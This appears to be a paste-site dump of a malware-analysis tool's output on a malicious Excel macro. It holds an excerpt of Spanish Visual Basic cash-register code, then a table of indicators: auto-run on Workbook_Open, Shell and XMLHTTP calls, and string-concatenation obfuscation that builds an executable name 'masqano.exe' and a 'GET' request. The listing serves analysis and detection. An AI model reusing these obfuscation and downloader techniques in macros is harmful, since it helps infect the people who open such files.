- MsgBox objConfig.dsError + vbCrLf + "El programa no puede iniciarse.", vbCritical + vbDefaultButton1, "Atenci?n"
- End
- End If
- lnrCaja = objCajas.ObtenerCajaAbiertadelUsuario(objParametros.ObtenerValor("dsUsuario"))
- objParametros.GrabarValor "dsObservacion", ""
- If lnrCaja = "" Then
- objParametros.GrabarValor "frm_ABMCaja", "Alta"
- Select Case objUsuario.tpAcceso
- Case "Puestos"
- frm_ABMCaja.Show 1
- Case "Administraci?n"
- frm_ABMCajaADM.Show 1
- End Select
- If objParametros.ObtenerValor("CajaAbierta") = "NO" Then
- End
- Else
- objConfig.GuardarINI
- End If
- Else
- MsgBox "El sistema esta reabrindo una caja que usted dej? abierta.", vbInformation, "Atenci?n"
- objParametros.GrabarValor "nrCaja", lnrCaja
- objParametros.GrabarValor "frm_ABMCaja", "CajaSinCerrar"
- Select Case objUsuario.tpAcceso
- Case "Puestos"
- objParametros.GrabarValor "CajaAbierta", "SI"
- objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
- objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
- Case "Administraci?n"
- frm_ABMCajaADM.Show 1
- End Select
- objConfig.GuardarINI
- End If
- Case Else
- objConfig.AbreCaja = "NO"
- If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
- MsgBox "Los valores de Dolar, Euro o Retorno no estan bien configurados," + vbCrLf + _
- " por favor vaya a la pantalla de conceptos para arreglar estos valores." _
- + vbCrLf + "Error Extendido: " + objConfig.Error, vbCritical + vbDefaultButton1, "Atenci?n"
- End If
- objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
- objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
- End Select
- Select Case objUsuario.tpAcceso
- Case "Puestos"
- Case Else
- objAFIP.mostrarTalonariosVencimientoCAI
- End Select
- Frm_Principal.Show
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | MkDir | May create a directory |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | masqano.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | VBA string | \masqano.exe | "\" + "mas" + "qano" + "." + "e" + "" + |
- | | | "" + "" + "" + "xe" |
- | VBA string | GET | "G" + "" + "" + "E" + "" + "" + "T" + |
- | | | "" + "" |
- | VBA string | b.S | "b." + "S" |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | Vuelva a internar la | "Vuelva a internar la operaci?n, si |
- | | operaci?n, si | persiste el problema comun?quese" + " |
- | | persiste el problema | con el administrador del sistema." |
- | | comun?quese con el | |
- | | administrador del | |
- | | sistema. | |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement